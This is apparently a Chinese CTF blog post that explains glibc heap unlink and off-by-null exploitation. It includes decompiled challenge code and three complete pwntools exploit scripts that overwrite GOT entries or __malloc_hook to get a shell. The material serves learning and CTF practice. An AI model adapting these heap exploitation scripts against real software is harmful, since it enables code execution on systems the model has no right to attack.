MENU

unlink的理解(UNCTF2020 baby_heap, *CTF level8-unlink, *CTF level7-offbynull)

November 22, 2020 • Read: 399 • Pwn

我看的unlink相关文章很多,但是最通俗易懂的还是https://xz.aliyun.com/t/5748,这位师傅所写的所有文章都很好而且能够让人明白的理解。

free基本规则 - 摘选自CTF特训营

堆块在释放时会有一系列的检查,可以与源码进行对照。在这里,将对一些关键的地方进行说明。为了使说明看起来简洁一些,就不展示源码了。
1)释放(free)时首先会检查地址是否对齐,并根据size找到下一块的位置,检查其p标志位是否置为1.
2)检查释放块的size是否符合fast bin的大小区间,若是则直接放入fast bin,并保持下一堆块中的p标志位为1不变(这样可以避免在前后块释放时进行堆块合并,以方便快速分配小内存),否则进入第3步。
3)若本堆块size域中的p标志位为0(前一堆块处于释放状态),则利用本块的pre_size找到前一堆块的开头,将其中bin链表中摘除(unlink),并合并这两个块,得到新的释放块。
4)根据size找到下一堆块,如果是top chunk,则直接合并到top chunk中去,直接返回。否则检查后一堆块是否处于释放阶段(通过检查下一堆块的下一堆块的p标志位是否为0)。将其从bin链表中摘除(unlink),并合并这两块,得到新的释放块。
5)将上述合并得到的最终堆块放入unsorted bin中去。
这里有以下几个值得注意的点:
1)合并时无论向前向后都只合并相邻的堆块,不在往更前或者更后继续合并。
2)释放检查时,p标志位很重要,大小属于fast bin的堆块在释放时不进行合并,会直接被放进fast bin中。在malloc_consolidate时会清除fast bin中对应的堆块下一块的p标志位,方便对其进行合并。
最基本的unlink定义如下:

#define unlink(P, BK, FD) { \
    FD = P->fd;
    BK = p->bk;                    \
    FD->bk = BK;                    \
    BK->fd = FD;                    \
}

上述代码直接进行了如下赋值:

*(fd + 24) = bk
*(bk + 16) = fd

新式的unlink中加入了更多的限制条件,具体参见unlink的利用方法。

现在来说说我的理解。

unlink的目的:

当目前要free的位置旁边有空闲的块,则考虑unlink把将要free的块,和相邻空闲的块合并。

unlink的类型:

1.向前合并,也就是上面那块是空闲的,我们要free后面那一块
2.向后合并,也就是下面那一块是空闲的,我们要free前面那一块。

unlink的检测:

在早期的版本是没有检测的,具体哪个版本我也不知道,但是我知道是早于libc2.23的,也就是大部分的比赛都是需要绕过检测的。
更新:libc-2.26中新增了unlink对chunk_size == next->prev->chunk_size的检查,以对抗单字节溢出。但是在Ubuntu16.04的libc-2.23中也打了相应的补丁,所以我们比赛常见的Ubuntu16.04版本的libc2.23也需要绕过这个限制
检测的内容:

FD = P->fd
BK = P->bk
//条件
FD->bk == P
BK->fd == P

如果上述条件无法达到则报错,如果是一个没有被破坏的双向链表,则上述的检测内容是显然成立的,但是如果是被我们篡改的链表,也就是早期的版本中,BK和FD直接分别对应加了偏移的要写地址和要修改的内容,那么就会报错了。
现在版本的绕过方法就是,通过程序储存的堆栈指针的那个数组,那个数组的内容中是存在P的指针的。
那么我们分别修改

//ptr是储存P指针的地址
FD = ptr - 0x18
BK = ptr - 0x10

就可以成功的绕过检测,然后检测后unlink执行以下代码

FD->bk = BK
BK->fd = FD

前者对应,

*(ptr - 0x18 + 0x18) = ptr - 0x10
*(ptr - 0x10 + 0x10) = ptr - 0x18

两者覆盖到了同一个位置ptr,且内容最终覆盖为ptr - 0x18,这样我们就覆盖了原来拿来存放P的指针的位置。
这样我们再对原来的位置进行修改,就等同于可以读写ptr - 0x18的位置了,这样我们再次覆盖ptr的内容为我们想要修改的地址,这样我们就可以泄露地址并且getshell。

unlink的利用:

基础结构:

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;

};

由于size是按照0x10对其的,所以size的后三个字节用于其他内容储存,分别对应:
NON_MAIN_ARENA 是否属于主线程 0属于1 不属于
IS_MAPPED 是否由mmap分配
PREV_INUSE 记录前一个 chunk 块是否被分配

执行原理:
当我们要free的时候,堆管理器通过检测
1.向前合并:当前size位中的最低位(PREV_INUSE)
2.向后合并:下下个heap的size位中的最低位(PREV_INUSE)
来判定前一个chunk块是否被分配。
如果没被分配,会通过prev_size的内容,然后计算出前(后)一个块的指针,从而访问他们对应的FD和BK,并且对前(后)一个块进行unlink操作。

总结:
1.检测是否可以向前或者向后合并
2.通过prev_size计算出空闲的块的指针
3.并加上空闲的块的size,如果与top_chunk相邻,那还要和top_chunk合并
4.对空闲的块进行unlink

利用方式简单描述:
1.修改prev_size
2.修改PREV_INUSE
3.free -> unlink

利用方式具体描述:
我认为向前合并更容易利用一些,如果要向后合并则需要控制下下块的PREV_INUSE。
所以我这里具体的讲向前合并的方法
1.add(0x88) #记为a
2.add(0x88) #记为b
3.FD = ptr - 0x18, BK = ptr - 0x10
3.修改a的内容,p64(0) + p64(0x88 - 0x10) + p64(FD) + p64(BK), 这个size应该是size - 0x10,但是如果这里填写p64(0),也不会报错(原因不明)
前者的原因是在pool数组里面存储的对应的ptr正好是和实际的指针相差0x10(从数据段开始,FD的位置),这相差的字节就是我们可以用于欺骗的点,我们欺骗系统size为size - 0x10,并且对应的数据结构也从不可控制的位置转移到了可控制的位置(在原来的FD写入prev_size,原来的BK写入size)
4.修改b的prev_size,p64(0x80)。系统根据此来确定前一个chunk的指针,也就是如果我们从真实的长度,0x90变成0x80,对应的指针也往后了0x10。(这一步通常和上面的步骤一起写入,因为这一块虽是b的结构内容,但事实上在a没被free的时候是没有意义的,为了节省空间,这一块也就成为了a的内容,可以被a所控制)
5.修改b的PREV_INUSE,修改为0,如果有off by one或者堆溢出,则这一步也是和上面的一起
6.free(b) -> unlink(a) -> *ptr = ptr - 0x18

题目解析(UNCTF2020 baby_heap):

baby_heap这道题目就是可以用unlink来做,这道题有off by one的漏洞,可以覆盖到下一个位的内容,所以我们可以利用这个多一位的内容,修改到b的PREV_INUSE,如果是off by null,那么可以创建(0xF8 = 0x100 - 0x8)的size,使得00正好可以覆盖掉原来的01,使得(01 10) -> (00 10),也达到了控制PREV_INUSE的目的。
其他条件都是正常功能可以达到的。不过值得一提的是,这道题fastbin attack是不可以的,因为题目通过mallopt(1, 0);把fastbin关掉了;
其次因为没有show的功能(未实现),所以这道题拿不到libc的地址,但是这道题有后门函数,所以我们可以直接利用后门函数getshell。

解析总结:
1.heap overflow + any size(unsorted bin) => unlink
2.off by one + any size(unsorted bin) => unlink
3.off by null + size:0xF8 => unlink

# -*- coding: utf-8 -*-
from pwn import *
r = process('./pwn')
#r = remote('node2.hackingfor.fun', 36705)
elf = ELF('./pwn')
context.log_level = "debug"
def add_note(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("size?", str(size))
    r.sendlineafter("content?", "a")

def delete_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("index ?", str(idx))

def change_note(idx, content):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("index ?", str(idx))
    r.sendafter("what is your new content ?", content)

ptr = 0x0000000000602160
shell = 0x000000000040097F
FD = ptr - 0x18
BK = ptr - 0x10
add_note(0x88) #91
add_note(0x88) #91
#gdb.attach(r)
change_note(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80) + '\x90')
delete_note(1)
change_note(0, p64(0) * 3 + p64(elf.got['free']))
change_note(0, p64(shell))
delete_note(0)
r.interactive()

题目解析(*CTF level8-unlink):

这道题目和上面一道题目的区别在于,这一道题目是off by null,而且这一道题还没有shell函数,这意味着难度大大的增加。也更加像一个正常的程序了,相比上一道题目给出的莫名奇妙的+1,这道题目off by null显得更加自然。这一道题目也没有show相关的函数,所有我们需要leak libc。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = read_int();
        if ( v3 != 2 )
          break;
        edit_note();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
    if ( v3 != 3 )
    {
      if ( v3 == 4 )
        exit(0);
LABEL_13:
      puts("em?");
      exit(0);
    }
    delete_note();
  }
}
int edit_note()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("Input your id:");
  v1 = read_int();
  if ( v1 > 0xF || !ptr[v1] )
    return puts("Are u a hacker?");
  printf("Content:");
  return (unsigned __int64)read_content((__int64)ptr[v1], size[v1]);
}
int add_note()
{
  int result; // eax
  int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15 && ptr[i]; ++i )
    ;
  if ( i == 16 )
    return puts("Full!");
  printf("Size:");
  v2 = read_int();
  if ( v2 > 512 )
    v2 = 512;
  ptr[i] = malloc(v2);
  result = i;
  size[i] = v2;
  return result;
}
int delete_note()
{
  int result; // eax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("Input your id:");
  v1 = read_int();
  if ( v1 > 0xF )
    return puts("Are u a hacker?");
  free(ptr[v1]);
  ptr[v1] = 0LL;
  result = v1;
  size[v1] = 0;
  return result;
}

漏洞就出现在edit_note中的read_content函数中

_BYTE *__fastcall read_content(__int64 ptr, int len)
{
  int v2; // eax
  _BYTE *result; // rax
  char buf; // [rsp+13h] [rbp-Dh]
  int v5; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = 0;
  while ( v5 < len )
  {
    read(0, &buf, 1uLL);
    if ( buf == '\n' )
      break;
    v2 = v5++;
    *(_BYTE *)(ptr + v2) = buf;
  }
  result = (_BYTE *)(v5 + ptr);
  *result = 0;                                  // off by null
  return result;
}

函数读取到n截止,但是最后在末尾赋值了一个00。于是我们就可以利用这个进行unlink,达到任意写的目的,但是目前没有show函数也无法leak libc,所以只能手动创造show的机会,就可以把free函数改成puts函数,然后执行free函数的时候就等价执行了,put输出了对应的内容。我这里采用的方法就是输出了got表中puts的位置。达到leak的目的,题目中给出了libc的数据,但是我们这里可以用搜索特征的方式直接利用。

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
r = process('./level8-unlink')
elf = ELF('./level8-unlink')
#r = remote('pwn.sixstars.team', 22508)
context.log_level = "debug"
def add_note(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size:", str(size))

def edit_note(idx, content):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Input your id:", str(idx))
    r.sendafter("Content:", content)

def delete_note(idx):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Input your id:", str(idx))

add_note(0x88)
add_note(0xF8)
ptr = 0x6020C0
FD = ptr - 0x18
BK = ptr - 0x10
edit_note(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80))
delete_note(1)
edit_note(0, p64(0) * 3 + p64(elf.got['free']) + p64(elf.got['puts']) + '\n')
edit_note(0, p64(elf.plt['puts'])[:-1] + '\n')
delete_note(1)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print "puts_addr:" + hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print "libc_base:" + hex(libc_base)
system_addr = libc.dump('system') + libc_base
edit_note(0, p64(system_addr)[:-1] + '\n')
add_note(0x88)
#gdb.attach(r)
edit_note(1, '$0' + '\n')
delete_note(1)
r.interactive()

这里需要注意的是:
1.写入的00在got表中容易把其他位置的数据搞坏,但是我们知道libc地址中实际上是有两位00的,所以我们可以少写一位00,并用n来补上,当数据写入的时候会把n替换成x00,这样就达到了不破坏其他位置的目的。
2.$0 <=> sh <=> /bin/sh
3.如果got表不能改写,那么可以考虑使用__free_hook

题目解析(*CTF level7-offbynull):

这道题目,是开了全保护的,所以不能直接利用ptr来unlink,也不能改写got表。
思路是:
1.利用unsorted bin leak泄露libc地址
2.夹心饼攻击(house of einherjar),伪造prev_size,使其向前跨越两个堆块,第一个堆块正常free,第二堆块不变化,伪造prev_size,让堆管理器认为size包含了两个堆块。当free第三个块的时候,会unlink第一个块(size包含了第二个),这时候重新申请,就又得到了第二个堆块的控制权,同时之前申请的第二个堆块也未被使用。
这正是ctf-wiki中Heap-based Off-By-One中利用思路中的第二条,这里粘贴其中内容方便阅读。

CTF-Wiki Heap-based Off-By-One

溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。
(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。
(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。
最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 前并没有该 check 。

所以我们libc2.23是可以利用的
leak部分代码在 http://blog.wjhwjhn.com/archives/86/ 有详细解释

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./level7-offbynull')
r = remote('pwn.sixstars.team', 22507)
context.log_level = "debug"
def add_note(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size:", str(size))

def show_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Input your id:", str(idx))

def edit_note(idx, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Input your id:", str(idx))
    r.sendafter("Content:", content)

def delete_note(idx):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("Input your id:", str(idx))

#leak
add_note(0x88) #91
add_note(0x88) #91
delete_note(0)
add_note(0x8)
show_note(0)
malloc_hook_addr = u64((r.recvuntil('\n')[-7:-1]).ljust(8, '\x00')) - 0xE8
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
delete_note(0)
delete_note(1)

add_note(0x88) #0
add_note(0x68) #1
add_note(0xf8) #2
add_note(0x18) #3
delete_note(0)
edit_note(1, 'a' * 0x60 + p64(0x70 + 0x90))
delete_note(2)
#gdb.attach(r)
add_note(0x88)
add_note(0x68) #1 == 2
delete_note(1)
edit_note(2, p64(malloc_hook_addr - 0x23) + '\n')
add_note(0x68) #1
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
add_note(0x68) #4
edit_note(4, 'a' * 0x13 + p64(one_gadget) + '\n')
delete_note(4)
r.interactive()
Last Modified: December 30, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code